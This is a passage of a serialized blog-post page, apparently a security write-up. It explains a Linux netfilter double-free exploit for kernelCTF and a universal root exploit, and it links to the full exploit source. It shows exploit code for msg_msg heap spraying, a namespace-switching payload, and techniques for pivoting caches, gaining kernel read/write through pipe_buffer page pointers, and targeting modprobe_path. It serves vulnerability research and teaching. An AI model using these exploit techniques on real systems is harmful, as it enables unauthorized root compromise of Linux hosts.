0x66];\n",{"type":24,"tag":83,"props":56972,"children":56973},{"class":85,"line":406},[56974],{"type":24,"tag":83,"props":56975,"children":56976},{"emptyLinePlaceholder":16},[56977],{"type":29,"value":3422},{"type":24,"tag":83,"props":56979,"children":56980},{"class":85,"line":427},[56981],{"type":24,"tag":83,"props":56982,"children":56983},{"style":2735},[56984],{"type":29,"value":56985},"    // switch_task_namespaces(task, &init_nsproxy);\n",{"type":24,"tag":83,"props":56987,"children":56988},{"class":85,"line":440},[56989,56993,56997,57001,57005,57009,57013,57017,57021,57025],{"type":24,"tag":83,"props":56990,"children":56991},{"style":137},[56992],{"type":29,"value":55883},{"type":24,"tag":83,"props":56994,"children":56995},{"style":107},[56996],{"type":29,"value":56398},{"type":24,"tag":83,"props":56998,"children":56999},{"style":143},[57000],{"type":29,"value":50984},{"type":24,"tag":83,"props":57002,"children":57003},{"style":107},[57004],{"type":29,"value":1270},{"type":24,"tag":83,"props":57006,"children":57007},{"style":143},[57008],{"type":29,"value":1275},{"type":24,"tag":83,"props":57010,"children":57011},{"style":107},[57012],{"type":29,"value":55904},{"type":24,"tag":83,"props":57014,"children":57015},{"style":143},[57016],{"type":29,"value":4126},{"type":24,"tag":83,"props":57018,"children":57019},{"style":245},[57020],{"type":29,"value":56861},{"type":24,"tag":83,"props":57022,"children":57023},{"style":107},[57024],{"type":29,"value":48790},{"type":24,"tag":83,"props":57026,"children":57027},{"style":2735},[57028],{"type":29,"value":56870},{"type":24,"tag":83,"props":57030,"children":57031},{"class":85,"line":449},[57032,57036,57040,57044,57048,57052,57056,57060],{"type":24,"tag":83,"props":57033,"children":57034},{"style":137},[57035],{"type":29,"value":55883},{"type":24,"tag":83,"props":57037,"children":57038},{"style":107},[57039],{"type":29,"value":56398},{"type":24,"tag":83,"props":57041,"children":57042},{"style":143},[57043],{"type":29,"value":50984},{"type":24,"tag":83,"props":57045,"children":57046},{"style":107},[57047],{"type":29,"value":1270},{"type":24,"tag":83,"props":57049,"children":57050},{"style":143},[57051],{"type":29,"value":1275},{"type":24,"tag":83,"props":57053,"children":57054},{"style":107},[57055],{"type":29,"value":55904},{"type":24,"tag":83,"props":57057,"children":57058},{"style":143},[57059],{"type":29,"value":4126},{"type":24,"tag":83,"props":57061,"children":57062},{"style":107},[57063],{"type":29,"value":57064}," INIT_NSPROXY;\n",{"type":24,"tag":83,"props":57066,"children":57067},{"class":85,"line":458},[57068,57072,57076,57080,57084,57088,57092,57096],{"type":24,"tag":83,"props":57069,"children":57070},{"style":137},[57071],{"type":29,"value":55883},{"type":24,"tag":83,"props":57073,"children":57074},{"style":107},[57075],{"type":29,"value":56398},{"type":24,"tag":83,"props":57077,"children":57078},{"style":143},[57079],{"type":29,"value":50984},{"type":24,"tag":83,"props":57081,"children":57082},{"style":107},[57083],{"type":29,"value":1270},{"type":24,"tag":83,"props":57085,"children":57086},{"style":143},[57087],{"type":29,"value":1275},{"type":24,"tag":83,"props":57089,"children":57090},{"style":107},[57091],{"type":29,"value":55904},{"type":24,"tag":83,"props":57093,"children":57094},{"style":143},[57095],{"type":29,"value":4126},{"type":24,"tag":83,"props":57097,"children":57098},{"style":107},[57099],{"type":29,"value":57100}," SWITCH_TASK_NAMESPACES;\n",{"type":24,"tag":83,"props":57102,"children":57103},{"class":85,"line":1065},[57104],{"type":24,"tag":83,"props":57105,"children":57106},{"style":107},[57107],{"type":29,"value":10065},{"type":24,"tag":1818,"props":57109,"children":57111},{"id":57110},"grabbing-the-kernelctf-flag",[57112],{"type":29,"value":57113},"Grabbing the kernelCTF flag",{"type":24,"tag":25,"props":57115,"children":57116},{},[57117,57121,57123,57130],{"type":24,"tag":2510,"props":57118,"children":57120},{"alt":2512,"src":57119},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":29,"value":57122},"\nYou can find the kernelCTF exploit in our ",{"type":24,"tag":2033,"props":57124,"children":57127},{"href":57125,"rel":57126},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[2037],[57128],{"type":29,"value":57129},"GitHub",{"type":29,"value":161},{"type":24,"tag":51,"props":57132,"children":57134},{"id":57133},"universal-exploit",[57135],{"type":29,"value":57136},"Universal exploit",{"type":24,"tag":25,"props":57138,"children":57139},{},[57140],{"type":29,"value":57141},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":24,"tag":1818,"props":57143,"children":57145},{"id":57144},"pivot-capability-using-msg_msg-mlistnext-pointer",[57146],{"type":29,"value":57147},"Pivot capability using msg_msg->mlist.next pointer",{"type":24,"tag":25,"props":57149,"children":57150},{},[57151,57153,57159,57161,57166,57168,57174],{"type":29,"value":57152},"Using the double-free vulnerability we can overlap a ",{"type":24,"tag":32,"props":57154,"children":57156},{"className":57155},[],[57157],{"type":29,"value":57158},"msg_msg",{"type":29,"value":57160}," object with with ",{"type":24,"tag":32,"props":57162,"children":57164},{"className":57163},[],[57165],{"type":29,"value":54812},{"type":29,"value":57167}," and control the ",{"type":24,"tag":32,"props":57169,"children":57171},{"className":57170},[],[57172],{"type":29,"value":57173},"m_list.next",{"type":29,"value":57175}," pointer.",{"type":24,"tag":73,"props":57177,"children":57179},{"className":28861,"code":57178,"language":28863,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts;  /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[57180],{"type":24,"tag":32,"props":57181,"children":57182},{"__ignoreMap":7},[57183,57191,57207,57228,57241,57259,57284,57300,57308,57315,57322,57330,57362],{"type":24,"tag":83,"props":57184,"children":57185},{"class":85,"line":86},[57186],{"type":24,"tag":83,"props":57187,"children":57188},{"style":2735},[57189],{"type":29,"value":57190},"/* one msg_msg structure for each message */\n",{"type":24,"tag":83,"props":57192,"children":57193},{"class":85,"line":113},[57194,57198,57203],{"type":24,"tag":83,"props":57195,"children":57196},{"style":90},[57197],{"type":29,"value":9148},{"type":24,"tag":83,"props":57199,"children":57200},{"style":3163},[57201],{"type":29,"value":57202}," msg_msg",{"type":24,"tag":83,"props":57204,"children":57205},{"style":107},[57206],{"type":29,"value":125},{"type":24,"tag":83,"props":57208,"children":57209},{"class":85,"line":128},[57210,57214,57219,57224],{"type":24,"tag":83,"props":57211,"children":57212},{"style":90},[57213],{"type":29,"value":20891},{"type":24,"tag":83,"props":57215,"children":57216},{"style":3163},[57217],{"type":29,"value":57218}," list_head",{"type":24,"tag":83,"props":57220,"children":57221},{"style":137},[57222],{"type":29,"value":57223}," m_list",{"type":24,"tag":83,"props":57225,"children":57226},{"style":107},[57227],{"type":29,"value":321},{"type":24,"tag":83,"props":57229,"children":57230},{"class":85,"line":183},[57231,57236],{"type":24,"tag":83,"props":57232,"children":57233},{"style":90},[57234],{"type":29,"value":57235}," long",{"type":24,"tag":83,"props":57237,"children":57238},{"style":107},[57239],{"type":29,"value":57240}," m_type;\n",{"type":24,"tag":83,"props":57242,"children":57243},{"class":85,"line":203},[57244,57249,57254],{"type":24,"tag":83,"props":57245,"children":57246},{"style":90},[57247],{"type":29,"value":57248}," size_t",{"type":24,"tag":83,"props":57250,"children":57251},{"style":107},[57252],{"type":29,"value":57253}," m_ts;",{"type":24,"tag":83,"props":57255,"children":57256},{"style":2735},[57257],{"type":29,"value":57258},"  /* message text size */\n",{"type":24,"tag":83,"props":57260,"children":57261},{"class":85,"line":212},[57262,57266,57271,57275,57280],{"type":24,"tag":83,"props":57263,"children":57264},{"style":90},[57265],{"type":29,"value":20891},{"type":24,"tag":83,"props":57267,"children":57268},{"style":3163},[57269],{"type":29,"value":57270}," msg_msgseg",{"type":24,"tag":83,"props":57272,"children":57273},{"style":90},[57274],{"type":29,"value":9563},{"type":24,"tag":83,"props":57276,"children":57277},{"style":137},[57278],{"type":29,"value":57279},"next",{"type":24,"tag":83,"props":57281,"children":57282},{"style":107},[57283],{"type":29,"value":321},{"type":24,"tag":83,"props":57285,"children":57286},{"class":85,"line":256},[57287,57291,57295],{"type":24,"tag":83,"props":57288,"children":57289},{"style":90},[57290],{"type":29,"value":50764},{"type":24,"tag":83,"props":57292,"children":57293},{"style":143},[57294],{"type":29,"value":9563},{"type":24,"tag":83,"props":57296,"children":57297},{"style":107},[57298],{"type":29,"value":57299},"security;\n",{"type":24,"tag":83,"props":57301,"children":57302},{"class":85,"line":270},[57303],{"type":24,"tag":83,"props":57304,"children":57305},{"style":2735},[57306],{"type":29,"value":57307}," /* the actual message follows immediately */\n",{"type":24,"tag":83,"props":57309,"children":57310},{"class":85,"line":302},[57311],{"type":24,"tag":83,"props":57312,"children":57313},{"style":107},[57314],{"type":29,"value":1071},{"type":24,"tag":83,"props":57316,"children":57317},{"class":85,"line":324},[57318],{"type":24,"tag":83,"props":57319,"children":57320},{"style":107},[57321],{"type":29,"value":10065},{"type":24,"tag":83,"props":57323,"children":57324},{"class":85,"line":345},[57325],{"type":24,"tag":83,"props":57326,"children":57327},{"style":107},[57328],{"type":29,"value":57329},"struct list_head {\n",{"type":24,"tag":83,"props":57331,"children":57332},{"class":85,"line":358},[57333,57337,57341,57345,57349,57353,57357],{"type":24,"tag":83,"props":57334,"children":57335},{"style":90},[57336],{"type":29,"value":20891},{"type":24,"tag":83,"props":57338,"children":57339},{"style":3163},[57340],{"type":29,"value":57218},{"type":24,"tag":83,"props":57342,"children":57343},{"style":90},[57344],{"type":29,"value":9563},{"type":24,"tag":83,"props":57346,"children":57347},{"style":137},[57348],{"type":29,"value":57279},{"type":24,"tag":83,"props":57350,"children":57351},{"style":107},[57352],{"type":29,"value":568},{"type":24,"tag":83,"props":57354,"children":57355},{"style":143},[57356],{"type":29,"value":4315},{"type":24,"tag":83,"props":57358,"children":57359},{"style":107},[57360],{"type":29,"value":57361},"prev;\n",{"type":24,"tag":83,"props":57363,"children":57364},{"class":85,"line":367},[57365],{"type":24,"tag":83,"props":57366,"children":57367},{"style":107},[57368],{"type":29,"value":1071},{"type":24,"tag":25,"props":57370,"children":57371},{},[57372,57374,57380,57382,57387],{"type":29,"value":57373},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":24,"tag":32,"props":57375,"children":57377},{"className":57376},[],[57378],{"type":29,"value":57379},"mlist.next",{"type":29,"value":57381}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":24,"tag":32,"props":57383,"children":57385},{"className":57384},[],[57386],{"type":29,"value":57158},{"type":29,"value":57388}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":24,"tag":25,"props":57390,"children":57391},{},[57392,57394,57399,57401],{"type":29,"value":57393},"By incrementing the next pointer of our controllable ",{"type":24,"tag":32,"props":57395,"children":57397},{"className":57396},[],[57398],{"type":29,"value":57158},{"type":29,"value":57400}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":24,"tag":2510,"props":57402,"children":57404},{"alt":2512,"src":57403},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":24,"tag":73,"props":57406,"children":57408},{"className":28861,"code":57407,"language":28863,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[57409],{"type":24,"tag":32,"props":57410,"children":57411},{"__ignoreMap":7},[57412,57419,57427,57453,57470,57518,57525,57565,57597,57604,57625,57632,57679,57743,57769,57815,57839,57883,57890,57898,57934,57958,57965,57985,57992],{"type":24,"tag":83,"props":57413,"children":57414},{"class":85,"line":86},[57415],{"type":24,"tag":83,"props":57416,"children":57417},{"style":107},[57418],{"type":29,"value":10065},{"type":24,"tag":83,"props":57420,"children":57421},{"class":85,"line":113},[57422],{"type":24,"tag":83,"props":57423,"children":57424},{"style":107},[57425],{"type":29,"value":57426},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":24,"tag":83,"props":57428,"children":57429},{"class":85,"line":128},[57430,57435,57439,57443,57448],{"type":24,"tag":83,"props":57431,"children":57432},{"style":107},[57433],{"type":29,"value":57434},"    msg_t *msg = calloc(1, ",{"type":24,"tag":83,"props":57436,"children":57437},{"style":3163},[57438],{"type":29,"value":55041},{"type":24,"tag":83,"props":57440,"children":57441},{"style":107},[57442],{"type":29,"value":558},{"type":24,"tag":83,"props":57444,"children":57445},{"style":3163},[57446],{"type":29,"value":57447},"msg_t",{"type":24,"tag":83,"props":57449,"children":57450},{"style":107},[57451],{"type":29,"value":57452},") + 0xe8 - 48);\n",{"type":24,"tag":83,"props":57454,"children":57455},{"class":85,"line":183},[57456,57460,57465],{"type":24,"tag":83,"props":57457,"children":57458},{"style":90},[57459],{"type":29,"value":18816},{"type":24,"tag":83,"props":57461,"children":57462},{"style":137},[57463],{"type":29,"value":57464}," qid",{"type":24,"tag":83,"props":57466,"children":57467},{"style":107},[57468],{"type":29,"value":57469},"[SPRAY];\n",{"type":24,"tag":83,"props":57471,"children":57472},{"class":85,"line":203},[57473,57477,57481,57485,57489,57493,57497,57501,57505,57510,57514],{"type":24,"tag":83,"props":57474,"children":57475},{"style":117},[57476],{"type":29,"value":2777},{"type":24,"tag":83,"props":57478,"children":57479},{"style":107},[57480],{"type":29,"value":223},{"type":24,"tag":83,"props":57482,"children":57483},{"style":90},[57484],{"type":29,"value":18786},{"type":24,"tag":83,"props":57486,"children":57487},{"style":107},[57488],{"type":29,"value":54257},{"type":24,"tag":83,"props":57490,"children":57491},{"style":143},[57492],{"type":29,"value":1275},{"type":24,"tag":83,"props":57494,"children":57495},{"style":245},[57496],{"type":29,"value":248},{"type":24,"tag":83,"props":57498,"children":57499},{"style":107},[57500],{"type":29,"value":50948},{"type":24,"tag":83,"props":57502,"children":57503},{"style":143},[57504],{"type":29,"value":5552},{"type":24,"tag":83,"props":57506,"children":57507},{"style":107},[57508],{"type":29,"value":57509}," SPRAY; i",{"type":24,"tag":83,"props":57511,"children":57512},{"style":143},[57513],{"type":29,"value":50984},{"type":24,"tag":83,"props":57515,"children":57516},{"style":107},[57517],{"type":29,"value":2905},{"type":24,"tag":83,"props":57519,"children":57520},{"class":85,"line":212},[57521],{"type":24,"tag":83,"props":57522,"children":57523},{"style":107},[57524],{"type":29,"value":28938},{"type":24,"tag":83,"props":57526,"children":57527},{"class":85,"line":256},[57528,57533,57537,57541,57546,57551,57556,57560],{"type":24,"tag":83,"props":57529,"children":57530},{"style":137},[57531],{"type":29,"value":57532},"        qid",{"type":24,"tag":83,"props":57534,"children":57535},{"style":107},[57536],{"type":29,"value":54309},{"type":24,"tag":83,"props":57538,"children":57539},{"style":143},[57540],{"type":29,"value":1275},{"type":24,"tag":83,"props":57542,"children":57543},{"style":101},[57544],{"type":29,"value":57545}," msgget",{"type":24,"tag":83,"props":57547,"children":57548},{"style":107},[57549],{"type":29,"value":57550},"(IPC_PRIVATE, ",{"type":24,"tag":83,"props":57552,"children":57553},{"style":245},[57554],{"type":29,"value":57555},"0666",{"type":24,"tag":83,"props":57557,"children":57558},{"style":143},[57559],{"type":29,"value":4014},{"type":24,"tag":83,"props":57561,"children":57562},{"style":107},[57563],{"type":29,"value":57564}," IPC_CREAT);\n",{"type":24,"tag":83,"props":57566,"children":57567},{"class":85,"line":270},[57568,57572,57576,57581,57585,57589,57593],{"type":24,"tag":83,"props":57569,"children":57570},{"style":117},[57571],{"type":29,"value":3018},{"type":24,"tag":83,"props":57573,"children":57574},{"style":107},[57575],{"type":29,"value":223},{"type":24,"tag":83,"props":57577,"children":57578},{"style":137},[57579],{"type":29,"value":57580},"qid",{"type":24,"tag":83,"props":57582,"children":57583},{"style":107},[57584],{"type":29,"value":54309},{"type":24,"tag":83,"props":57586,"children":57587},{"style":143},[57588],{"type":29,"value":5552},{"type":24,"tag":83,"props":57590,"children":57591},{"style":245},[57592],{"type":29,"value":248},{"type":24,"tag":83,"props":57594,"children":57595},{"style":107},[57596],{"type":29,"value":2905},{"type":24,"tag":83,"props":57598,"children":57599},{"class":85,"line":302},[57600],{"type":24,"tag":83,"props":57601,"children":57602},{"style":107},[57603],{"type":29,"value":31400},{"type":24,"tag":83,"props":57605,"children":57606},{"class":85,"line":324},[57607,57612,57616,57621],{"type":24,"tag":83,"props":57608,"children":57609},{"style":101},[57610],{"type":29,"value":57611},"            perror",{"type":24,"tag":83,"props":57613,"children":57614},{"style":107},[57615],{"type":29,"value":558},{"type":24,"tag":83,"props":57617,"children":57618},{"style":187},[57619],{"type":29,"value":57620},"\"[-] msgget\"",{"type":24,"tag":83,"props":57622,"children":57623},{"style":107},[57624],{"type":29,"value":581},{"type":24,"tag":83,"props":57626,"children":57627},{"class":85,"line":345},[57628],{"type":24,"tag":83,"props":57629,"children":57630},{"style":107},[57631],{"type":29,"value":3092},{"type":24,"tag":83,"props":57633,"children":57634},{"class":85,"line":358},[57635,57639,57643,57648,57652,57656,57661,57665,57670,57674],{"type":24,"tag":83,"props":57636,"children":57637},{"style":143},[57638],{"type":29,"value":7499},{"type":24,"tag":83,"props":57640,"children":57641},{"style":107},[57642],{"type":29,"value":558},{"type":24,"tag":83,"props":57644,"children":57645},{"style":90},[57646],{"type":29,"value":57647},"uint32_t",{"type":24,"tag":83,"props":57649,"children":57650},{"style":143},[57651],{"type":29,"value":9563},{"type":24,"tag":83,"props":57653,"children":57654},{"style":107},[57655],{"type":29,"value":2872},{"type":24,"tag":83,"props":57657,"children":57658},{"style":137},[57659],{"type":29,"value":57660},"msg",{"type":24,"tag":83,"props":57662,"children":57663},{"style":107},[57664],{"type":29,"value":13502},{"type":24,"tag":83,"props":57666,"children":57667},{"style":137},[57668],{"type":29,"value":57669},"mtext",{"type":24,"tag":83,"props":57671,"children":57672},{"style":143},[57673],{"type":29,"value":146},{"type":24,"tag":83,"props":57675,"children":57676},{"style":107},[57677],{"type":29,"value":57678}," i;\n",{"type":24,"tag":83,"props":57680,"children":57681},{"class":85,"line":367},[57682,57686,57690,57694,57698,57702,57706,57710,57714,57718,57722,57726,57730,57734,57739],{"type":24,"tag":83,"props":57683,"children":57684},{"style":143},[57685],{"type":29,"value":7499},{"type":24,"tag":83,"props":57687,"children":57688},{"style":107},[57689],{"type":29,"value":558},{"type":24,"tag":83,"props":57691,"children":57692},{"style":90},[57693],{"type":29,"value":55348},{"type":24,"tag":83,"props":57695,"children":57696},{"style":143},[57697],{"type":29,"value":9563},{"type":24,"tag":83,"props":57699,"children":57700},{"style":107},[57701],{"type":29,"value":2872},{"type":24,"tag":83,"props":57703,"children":57704},{"style":143},[57705],{"type":29,"value":2853},{"type":24,"tag":83,"props":57707,"children":57708},{"style":137},[57709],{"type":29,"value":57660},{"type":24,"tag":83,"props":57711,"children":57712},{"style":107},[57713],{"type":29,"value":13502},{"type":24,"tag":83,"props":57715,"children":57716},{"style":137},[57717],{"type":29,"value":57669},{"type":24,"tag":83,"props":57719,"children":57720},{"style":107},[57721],{"type":29,"value":1161},{"type":24,"tag":83,"props":57723,"children":57724},{"style":245},[57725],{"type":29,"value":3819},{"type":24,"tag":83,"props":57727,"children":57728},{"style":107},[57729],{"type":29,"value":1270},{"type":24,"tag":83,"props":57731,"children":57732},{"style":143},[57733],{"type":29,"value":1275},{"type":24,"tag":83,"props":57735,"children":57736},{"style":245},[57737],{"type":29,"value":57738}," 0xdeadbeefcafebabe",{"type":24,"tag":83,"props":57740,"children":57741},{"style":107},[57742],{"type":29,"value":321},{"type":24,"tag":83,"props":57744,"children":57745},{"class":85,"line":406},[57746,57751,57755,57760,57764],{"type":24,"tag":83,"props":57747,"children":57748},{"style":137},[57749],{"type":29,"value":57750},"        msg",{"type":24,"tag":83,"props":57752,"children":57753},{"style":107},[57754],{"type":29,"value":13502},{"type":24,"tag":83,"props":57756,"children":57757},{"style":137},[57758],{"type":29,"value":57759},"mtype",{"type":24,"tag":83,"props":57761,"children":57762},{"style":143},[57763],{"type":29,"value":146},{"type":24,"tag":83,"props":57765,"children":57766},{"style":107},[57767],{"type":29,"value":57768}," MTYPE_PRIMARY;\n",{"type":24,"tag":83,"props":57770,"children":57771},{"class":85,"line":427},[57772,57777,57781,57785,57790,57794,57798,57803,57807,57811],{"type":24,"tag":83,"props":57773,"children":57774},{"style":101},[57775],{"type":29,"value":57776},"        msgsnd",{"type":24,"tag":83,"props":57778,"children":57779},{"style":107},[57780],{"type":29,"value":558},{"type":24,"tag":83,"props":57782,"children":57783},{"style":137},[57784],{"type":29,"value":57580},{"type":24,"tag":83,"props":57786,"children":57787},{"style":107},[57788],{"type":29,"value":57789},"[i], msg, ",{"type":24,"tag":83,"props":57791,"children":57792},{"style":245},[57793],{"type":29,"value":55685},{"type":24,"tag":83,"props":57795,"children":57796},{"style":143},[57797],{"type":29,"value":50970},{"type":24,"tag":83,"props":57799,"children":57800},{"style":245},[57801],{"type":29,"value":57802}," 48",{"type":24,"tag":83,"props":57804,"children":57805},{"style":107},[57806],{"type":29,"value":568},{"type":24,"tag":83,"props":57808,"children":57809},{"style":245},[57810],{"type":29,"value":1166},{"type":24,"tag":83,"props":57812,"children":57813},{"style":107},[57814],{"type":29,"value":581},{"type":24,"tag":83,"props":57816,"children":57817},{"class":85,"line":440},[57818,57822,57826,57830,57834],{"type":24,"tag":83,"props":57819,"children":57820},{"style":137},[57821],{"type":29,"value":57750},{"type":24,"tag":83,"props":57823,"children":57824},{"style":107},[57825],{"type":29,"value":13502},{"type":24,"tag":83,"props":57827,"children":57828},{"style":137},[57829],{"type":29,"value":57759},{"type":24,"tag":83,"props":57831,"children":57832},{"style":143},[57833],{"type":29,"value":146},{"type":24,"tag":83,"props":57835,"children":57836},{"style":107},[57837],{"type":29,"value":57838}," MTYPE_SECONDARY;\n",{"type":24,"tag":83,"props":57840,"children":57841},{"class":85,"line":449},[57842,57846,57850,57854,57858,57863,57867,57871,57875,57879],{"type":24,"tag":83,"props":57843,"children":57844},{"style":101},[57845],{"type":29,"value":57776},{"type":24,"tag":83,"props":57847,"children":57848},{"style":107},[57849],{"type":29,"value":558},{"type":24,"tag":83,"props":57851,"children":57852},{"style":137},[57853],{"type":29,"value":57580},{"type":24,"tag":83,"props":57855,"children":57856},{"style":107},[57857],{"type":29,"value":57789},{"type":24,"tag":83,"props":57859,"children":57860},{"style":245},[57861],{"type":29,"value":57862},"1024",{"type":24,"tag":83,"props":57864,"children":57865},{"style":143},[57866],{"type":29,"value":50970},{"type":24,"tag":83,"props":57868,"children":57869},{"style":245},[57870],{"type":29,"value":57802},{"type":24,"tag":83,"props":57872,"children":57873},{"style":107},[57874],{"type":29,"value":568},{"type":24,"tag":83,"props":57876,"children":57877},{"style":245},[57878],{"type":29,"value":1166},{"type":24,"tag":83,"props":57880,"children":57881},{"style":107},[57882],{"type":29,"value":581},{"type":24,"tag":83,"props":57884,"children":57885},{"class":85,"line":458},[57886],{"type":24,"tag":83,"props":57887,"children":57888},{"style":107},[57889],{"type":29,"value":446},{"type":24,"tag":83,"props":57891,"children":57892},{"class":85,"line":1065},[57893],{"type":24,"tag":83,"props":57894,"children":57895},{"style":2735},[57896],{"type":29,"value":57897},"    // Prepare evil msg\n",{"type":24,"tag":83,"props":57899,"children":57900},{"class":85,"line":1668},[57901,57905,57910,57914,57918,57922,57926,57930],{"type":24,"tag":83,"props":57902,"children":57903},{"style":90},[57904],{"type":29,"value":18816},{"type":24,"tag":83,"props":57906,"children":57907},{"style":107},[57908],{"type":29,"value":57909}," evilqid ",{"type":24,"tag":83,"props":57911,"children":57912},{"style":143},[57913],{"type":29,"value":1275},{"type":24,"tag":83,"props":57915,"children":57916},{"style":101},[57917],{"type":29,"value":57545},{"type":24,"tag":83,"props":57919,"children":57920},{"style":107},[57921],{"type":29,"value":57550},{"type":24,"tag":83,"props":57923,"children":57924},{"style":245},[57925],{"type":29,"value":57555},{"type":24,"tag":83,"props":57927,"children":57928},{"style":143},[57929],{"type":29,"value":4014},{"type":24,"tag":83,"props":57931,"children":57932},{"style":107},[57933],{"type":29,"value":57564},{"type":24,"tag":83,"props":57935,"children":57936},{"class":85,"line":1713},[57937,57941,57946,57950,57954],{"type":24,"tag":83,"props":57938,"children":57939},{"style":117},[57940],{"type":29,"value":218},{"type":24,"tag":83,"props":57942,"children":57943},{"style":107},[57944],{"type":29,"value":57945}," (evilqid ",{"type":24,"tag":83,"props":57947,"children":57948},{"style":143},[57949],{"type":29,"value":5552},{"type":24,"tag":83,"props":57951,"children":57952},{"style":245},[57953],{"type":29,"value":248},{"type":24,"tag":83,"props":57955,"children":57956},{"style":107},[57957],{"type":29,"value":2905},{"type":24,"tag":83,"props":57959,"children":57960},{"class":85,"line":1730},[57961],{"type":24,"tag":83,"props":57962,"children":57963},{"style":107},[57964],{"type":29,"value":28938},{"type":24,"tag":83,"props":57966,"children":57967},{"class":85,"line":1770},[57968,57973,57977,57981],{"type":24,"tag":83,"props":57969,"children":57970},{"style":101},[57971],{"type":29,"value":57972},"        perror",{"type":24,"tag":83,"props":57974,"children":57975},{"style":107},[57976],{"type":29,"value":558},{"type":24,"tag":83,"props":57978,"children":57979},{"style":187},[57980],{"type":29,"value":57620},{"type":24,"tag":83,"props":57982,"children":57983},{"style":107},[57984],{"type":29,"value":581},{"type":24,"tag":83,"props":57986,"children":57987},{"class":85,"line":1778},[57988],{"type":24,"tag":83,"props":57989,"children":57990},{"style":107},[57991],{"type":29,"value":446},{"type":24,"tag":83,"props":57993,"children":57994},{"class":85,"line":1803},[57995],{"type":24,"tag":83,"props":57996,"children":57997},{"style":107},[57998],{"type":29,"value":57999},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":1818,"props":58001,"children":58003},{"id":58002},"using-pipe_buffer-page-pointer-for-physical-readwrite",[58004],{"type":29,"value":58005},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":25,"props":58007,"children":58008},{},[58009,58011,58017,58018,58024,58025,58031,58033,58039],{"type":29,"value":58010},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":32,"props":58012,"children":58014},{"className":58013},[],[58015],{"type":29,"value":58016},"kmalloc-1k",{"type":29,"value":2287},{"type":24,"tag":32,"props":58019,"children":58021},{"className":58020},[],[58022],{"type":29,"value":58023},"overlap pipe_buffer",{"type":29,"value":21244},{"type":24,"tag":32,"props":58026,"children":58028},{"className":58027},[],[58029],{"type":29,"value":58030},"skbuf",{"type":29,"value":58032}," data to control the ",{"type":24,"tag":32,"props":58034,"children":58036},{"className":58035},[],[58037],{"type":29,"value":58038},"page",{"type":29,"value":58040}," field.",{"type":24,"tag":25,"props":58042,"children":58043},{},[58044,58045,58050,58052,58058,58060],{"type":29,"value":16348},{"type":24,"tag":32,"props":58046,"children":58048},{"className":58047},[],[58049],{"type":29,"value":58038},{"type":29,"value":58051}," field is a pointer into ",{"type":24,"tag":32,"props":58053,"children":58055},{"className":58054},[],[58056],{"type":29,"value":58057},"vmemmap_base",{"type":29,"value":58059},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":2510,"props":58061,"children":58063},{"alt":2512,"src":58062},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":25,"props":58065,"children":58066},{},[58067,58069,58074],{"type":29,"value":58068},"This now allows us to navigate the ",{"type":24,"tag":32,"props":58070,"children":58072},{"className":58071},[],[58073],{"type":29,"value":58057},{"type":29,"value":58075}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":24,"tag":1818,"props":58077,"children":58079},{"id":58078},"bruteforce-physical-kernel-base",[58080],{"type":29,"value":58081},"Bruteforce physical kernel base",{"type":24,"tag":25,"props":58083,"children":58084},{},[58085,58087,58093,58095,58100,58102,58108],{"type":29,"value":58086},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":32,"props":58088,"children":58090},{"className":58089},[],[58091],{"type":29,"value":58092},"modprobe_path",{"type":29,"value":58094},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":32,"props":58096,"children":58098},{"className":58097},[],[58099],{"type":29,"value":58057},{"type":29,"value":58101}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":32,"props":58103,"children":58105},{"className":58104},[],[58106],{"type":29,"value":58107},"PHYSICAL_ALIGN",{"type":29,"value":58109}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":73,"props":58111,"children":58113},{"className":28861,"code":58112,"language":28863,"meta":7,"style":7},"[...]\n// 